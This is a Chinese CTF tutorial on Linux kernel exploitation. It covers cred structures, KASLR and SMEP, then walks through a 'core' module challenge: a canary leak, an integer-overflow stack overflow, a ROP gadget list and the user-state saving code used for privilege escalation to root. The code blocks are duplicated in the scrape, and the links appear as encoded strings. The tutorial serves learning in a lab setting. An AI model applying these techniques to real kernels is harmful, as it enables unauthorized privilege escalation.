[md]# 0x00 基础知识
kernel 也是一个程序,用来管理软件发出的数据 I/O 要求,将这些要求转义为指令,交给 CPU 和计算机中的其他组件处理,kernel 是现代操作系统最基本的部分。 以上便是ctf wiki原话 ,所以大家也不要太过于认为其很难,其实跟咱们用户态就是不同而已,也可能就涉及那么些底层知识罢了(师傅轻喷,我就口嗨一下)。 在学习攻击手段之前可以先看看我前面环境准备和简单驱动编写那两篇,可能对您有更大帮助。
Linux kernel环境搭建—0x00b4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3f1#2x3Y4m8G2K9X3W2W2i4K6u0W2j5$3&6Q4x3V1k6@1K9s2u0W2j5h3c8Q4x3X3b7I4y4K6l9$3x3K6p5$3i4K6u0V1x3g2)9J5k6o6q4Q4x3X3g2Z5N6r3#2D9 (出处: 吾爱破解论坛) Linux kernel环境搭建—0x01711K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3f1#2x3Y4m8G2K9X3W2W2i4K6u0W2j5$3&6Q4x3V1k6@1K9s2u0W2j5h3c8Q4x3X3b7I4y4K6p5H3x3U0b7J5i4K6u0V1x3g2)9J5k6o6q4Q4x3X3g2Z5N6r3#2D9 (出处: 吾爱破解论坛)
而kernel 最主要的功能有两点:
需要注意的是,kernel 的crash 通常会引起重启。(所以咱们这点调试的时候就挺不方便的了,相比于用户态而言),不过这里也可能我刚开始学比较笨而已。
注意大多数的现代操作系统只使用了 Ring 0 和 Ring 3。
也就是系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如scanf,puts 等 IO 相关的函数实际上是对系统调用的封装(read 和 write))。
user space to kernel space 当发生 系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换,具体的过程为:
通过汇编指令判断是否为 x32_abi。
通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。 这里再给出保存栈的结构示意图,这里我就引用下别的师傅的图了。注意这是保存在内核栈中
退出时,流程如下:
咱们要管理进程的权限,那么内核必定会维护一些数据结构来保存,他是用 cred 结构体记录的,每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。 下面就是cred的数据结构源码
基础知识介绍完毕,咱们开始介绍咱们内核pwn的最主要的目的
借用arttnba3师傅的原话:“毫无疑问,对于内核漏洞进行利用,并最终提权到 root,在黑客界是一种最为 old school 的美学((“我这里打两个括号以示尊敬(。 咱们在内核pwn中,最重要以及最广泛的那就是提权了,其他诸如dos攻击等也行,但是主要是把人家服务器搞崩之类的,并没有提权来的高效。
所谓提权,直译也即提升权限,是在咱们已经在得到一个shell之后,咱们进行深入攻击的操作,那么请问如何得到一个shell呢,那就请大伙好好学习用户模式下的pwn吧( 而与提权息息相关的那不外乎两个函数,不过咱们先不揭晓他们,咱们先介绍一个结构体: 在内核中使用结构体 task_struct 表示一个进程,该结构体定义于内核源码include/linux/sched.h中,代码比较长就不在这里贴出了 一个进程描述符的结构应当如下图所示: 注意到task_struct的源码中有如下代码:
看到熟悉的字眼没,对,那就是cred结构体指针 前面我们讲到,一个进程的权限是由位于内核空间的cred结构体进行管理的,那么我们不难想到:只要改变一个进程的cred结构体,就能改变其执行权限 在内核空间有如下两个函数,都位于kernel/cred.c中:
与用户态ASLR类似,在开启了 KASLR 的内核中,内核的代码段基地址等地址会整体偏移。
KASLR 虽然在一定程度上能够缓解攻击,但是若是攻击者通过一些信息泄露漏洞获取到内核中的某个地址,仍能够直接得知内核加载地址偏移从而得知整个内核地址布局,因此有研究者基于 KASLR 实现了 FGKASLR,以函数粒度重新排布内核代码
类似于用户态程序的 canary,通常又被称作是 stack cookie,用以检测是否发生内核堆栈溢出,若是发生内核堆栈溢出则会产生 kernel panic 内核中的 canary 的值通常取自 gs 段寄存器某个固定偏移处的值
SMAP即管理模式访问保护(Supervisor Mode Access Prevention),SMEP即管理模式执行保护(Supervisor Mode Execution Prevention),这两种保护通常是同时开启的,用以阻止内核空间直接访问/执行用户空间的数据,完全地将内核空间与用户空间相分隔开,用以防范ret2usr(return-to-user,将内核空间的指令指针重定向至用户空间上构造好的提权代码)攻击 SMEP保护的绕过有以下两种方式:
首先咱们拿到个ctf题目之后,咱们一般是先解包,会发现有这些个文件
.ko文件:需要拖到IDA里面分析找漏洞的文件,也即一般的漏洞出现的文件
我的办法比较笨,那就是本地编译然后放到文件系统里面在压缩为cpio,这样再启动虚拟机的时候就会重新加载这个文件系统了
一道十分基础的内核pwn入门题
文件里面包含了这几个文件 bzImage,core.cpio,start.sh,vmlinux 先看看start.sh
可以看到咱们这儿题目采用了kaslr ,有地址随机,所以咱们需要泄露地址,大致思路和用户态一致。这里还注意那就是从ctfwiki上面下载下来的题目是-m 64M,这里会出现运行不了虚拟机的情况,所以咱们改为128M即可,这是内存大小的定义,太小了跑不动。
之后咱们再看看文件系统解压后得到的init脚本
从中我们可以看到文件系统中insmod了一个core.ko,一般来讲这就是漏洞函数了,还有咱们可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh这一句来使得我们进入虚拟机的时候就是root权限,大伙不必惊慌,这里是因为咱们是再本地需要进行调试,所以init脚本任我们改,start脚本也是,咱们可以直接把kalsr关了也行,但关了并不代表咱们不管,咱们这一举动主要是为了方便调试的,最终打远程还是人家说了算,咱们值有一个exp能提交。 接着分析init,这里还发现开始时内核符号表被复制了一份到/tmp/kalsyms中,利用这个我们可以获得内核中所有函数的地址,还有个恶心的地方那就是这里开启了定时关机,咱们可以把这给先注释掉poweroff -d 120 -f &
进入漏洞模块的分析
这里可以看到有canary和NX,所以咱们通过ROP的话需要进行canary泄露。 接下来咱们分析相关函数init_moddule
可以看到模块加载的初期会创建一个名为core的进程,在虚拟机中在/proc目录下 在看看比较重要的ioctl函数
可以看出有三个模式选择,分别点入相关函数看
这里的read函数就是向用户指定的地址从off偏移地址写入64个字节. 而从ioctl中第二个case可以看到咱们居然可以设置off,所以我们可以通过设置偏移来写入canary的值,而我们从ida中可以看到咱们的canary是位于这里
可以知道相差对于v5相差0x40,所以咱们设置的off也是0x40
我们还可以来看看file_operations,(不秦楚的大伙可以看看我的上一篇环境搭建的文章),可以看到他只实现了write,ioctl,release的系统调用:
我们再来看看其他函数,先看core_write 这里可以知道他总共可以向name这个地址写入0x800个字节,心动 我们再来看看ioctl中第三个选项的core_copy_func 发现他可以从name上面拷贝数据到达栈上,然后这个判断存在着整形溢出,这里如果咱传个负数就可以达成效果了。
既然咱们可以在栈上做手脚,那么我们就可以利用ROP的方式了,首先找几个gadget,这里的gadget是需要在vmlinux中寻找,我的推荐是用
这样的类型进行寻找[/md] [md]### 1.寻找gadget 如图: 对于上面所说的比较关键的两个函数commit_creds以及prepare_kernel_cred,我们在vmlinux中去寻找他所加载的的地址 然后我们可以看看ropgadget文件 从中咱们可以看到其中即我们所需要的gadget(实际上就是linux内核镜像所使用的汇编代码),此时我们再通过linux自带的grep进行搜索,个人认为还是比较好用的,用ropgadget或者是ropper来说都可以,看各位师傅的喜好来.具体使用情况如下: 以此手法获得两个主要函数的地址后,此刻若咱们在exp中获得这两个函数的实际地址,然后将两者相减即可得到KASLR的偏移地址。 自此咱们继续搜索别的gadget,我们此刻需要的gadget共有如下几个:
师傅们可以用上述方法自行寻找.
虽然咱们的提权 是在内核态当中,但我们最终还是需要返回用户态来得到一个root权限的shell,所以当我们进行栈溢出rop之后还需要利用swapgs等保存在内核栈上的寄存器值返回到应得的位置,但是如何保证返回的时候不出错呢,对,那就只能在调用内核态的时候将即将保存的正确的寄存器值先保存在咱们自己申请的值里面,这样就方便咱们在rop链结尾填入他们实现返回不报错。既然涉及到了保存值,那我们就需要内嵌汇编代码来实现此功能,代码如下,这也可以视为一个通用代码;
大伙学到了内核pwn,那汇编功底自然不必说,我就不解释这段代码功能了。
现在开始咱们的攻击思路思考,在上面介绍各个函数的时候我也稍微讲了点。我们所做的事主要如下:
利用ioctl中的选项2.修改off为0x40
利用core_read,也就是ioctl中的选项1,可将局部变量v5的off偏移地址打印,经过调试可发现这里即为canary
当咱们打印了canary,现在即可进行栈溢出攻击了,但是溢出哪个栈呢,我们发现ioctl的第三个选项中调用的函数 core_copy_func,会将bss段上的name输入在栈上,输入的字节数取决于咱们传入的数字,并且此时他又整型溢出漏洞,好,就决定冤大头是他了
大伙看到这里是不是觉得有点奇怪,欸,刚才不是说要泄露地址码,这兄弟是不是讲错了,就这?大家不要慌,我这正要讲解,从上面的init脚本中我们可以看到这一句:
其中 /proc/kallsyms中包含了内核中所有用到的符号表,而处于用户态的我们是不能访问的,所以出题人贴心的将他输出到了/tmp/kallsyms中,这就使得我们在用户态也依然可以访问了,所以我们还得在exp中写一个文件遍历的功能,当然这对于学过系统编程的同学并不在话下,(可是我上这课在划水....) 这里贴出代码给大伙先看看
当知道exp思路之后,其他的一切就简单起来,只需要看懂他然后实现即可.
由于咱们的内核是跑在qemu中,所以我们gdb需要用到远程调试的方法,但是如果直接连端口的话会出现没符号表不方便调试的,所以我们需要自行导入内核模块,也就是文件提供的vmlinux,之后由于咱们还需要core.ko的符号表,所以咱们也可以通过自行导入来获得可以,通过 add-symbol-file core.ko textaddr 加载 ,而这里的textaddr即为core.ko的.text段地址,我们可以通过修改init中为root权限进行设置. 这里.text 段的地址可以通过 /sys/modules/core/section/.text 来查看, 这里强烈建议大伙先关kaslr(通过在启动脚本修改,就是将kaslr改为nokaslr)再进行调试,效果图如下 我们可以通过-gdb tcp:port或者 -s来开启调试端口,start.sh 中已经有了 -s,不必再自己设置。(对了如果-s ,他的功能等同于-gdb tcp:1234) 在我们获得.text基地址后记得用脚本来开gdb,不然每次都要输入这么些个东西太麻烦了,脚本如下十分简单:
其中打断点可以先打在core_read,这里打在core_copy_func是我调到尾声修改的.这里还注意一个点,就是当采用pwndbg的时侯需要root权限才可以进行调试不然会出现以下错误 最开始气死我了,人家peda都不要root,但是最开始不清楚为什么会错,我还以为是版本问题,但想到这是我最近刚配的一台机子又应该不是,其实最开始看到permission就该想到的,害. 我们用root权限进行开调 可以看到十分的成功,此刻我continue,还记得咱们下的断电码,b core_read,如果咱们调用它后咱们就会在这里停下来,此刻我们运行咱们的程序试试 这样咱们就可以愉快的进行调试啦,至此gdb调试内核基本方法到此结束~~~
这里简单讲讲,直接给图 相信大家理解起来不费力.
本次exp如下,大伙看看
这里哟个小知识,那就是在被攻击的内核中一般不会给你库函数,所以咱们需要用gcc中的-static参数进行静态链接,然后就是为了支持内嵌汇编代码,所以我们需要使用-masm=intel,这里intel也可以换amd,看各位汇编语言用的啥来进行修改.我这里用的把保存状态代码是intel支持的.
将此编译得到的二进制文件打包近文件系统然后重新启动,情况如图
为了学这一个题目所需要的知识还是费了点功夫的,需要对于驱动等环境的理解然后就是遇到困难之后静下心寻找问题的耐心,还有最重要的一点就是细心,就因为最后一个sp错写成ss导致一直打不通.[/md]
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $ __USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK
/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq $ __USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
struct cred {
atomic_t usage;
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
void *security; /* subjective LSM security */
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
struct cred {
atomic_t usage;
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
void *security; /* subjective LSM security */
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
---
之后咱们可以利用rootfs.cpio解压的文件中看到init脚本,此即为加载文件系统的脚本,在一般为boot.sh或start.sh脚本中也记录了qemu的启动参数
---
之后咱们可以利用rootfs.cpio解压的文件中看到init脚本,此即为加载文件系统的脚本,在一般为boot.sh或start.sh脚本中也记录了qemu的启动参数
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
objdump -d ./vmlinux > ropgadget \
cat ropgadget | grep "pop rdi; ret"
objdump -d ./vmlinux > ropgadget \
cat ropgadget | grep "pop rdi; ret"
swapgs; popfq; ret;
mov rdi, rax; call rdx;
pop rdx; ret;
pop rdi; ret;
pop rcx; ret;
iretq
swapgs; popfq; ret;
mov rdi, rax; call rdx;
pop rdx; ret;
pop rdi; ret;
pop rcx; ret;
iretq
size_t user_cs, user_ss,user_rflags,user_sp;
//int fd = 0; // file pointer of process 'core'
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m Status has been saved . \033[0m");
}
size_t user_cs, user_ss,user_rflags,user_sp;
//int fd = 0; // file pointer of process 'core'
void saveStatus(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-12-2 11:49
被peiwithhao编辑
,原因: 图片链接整错了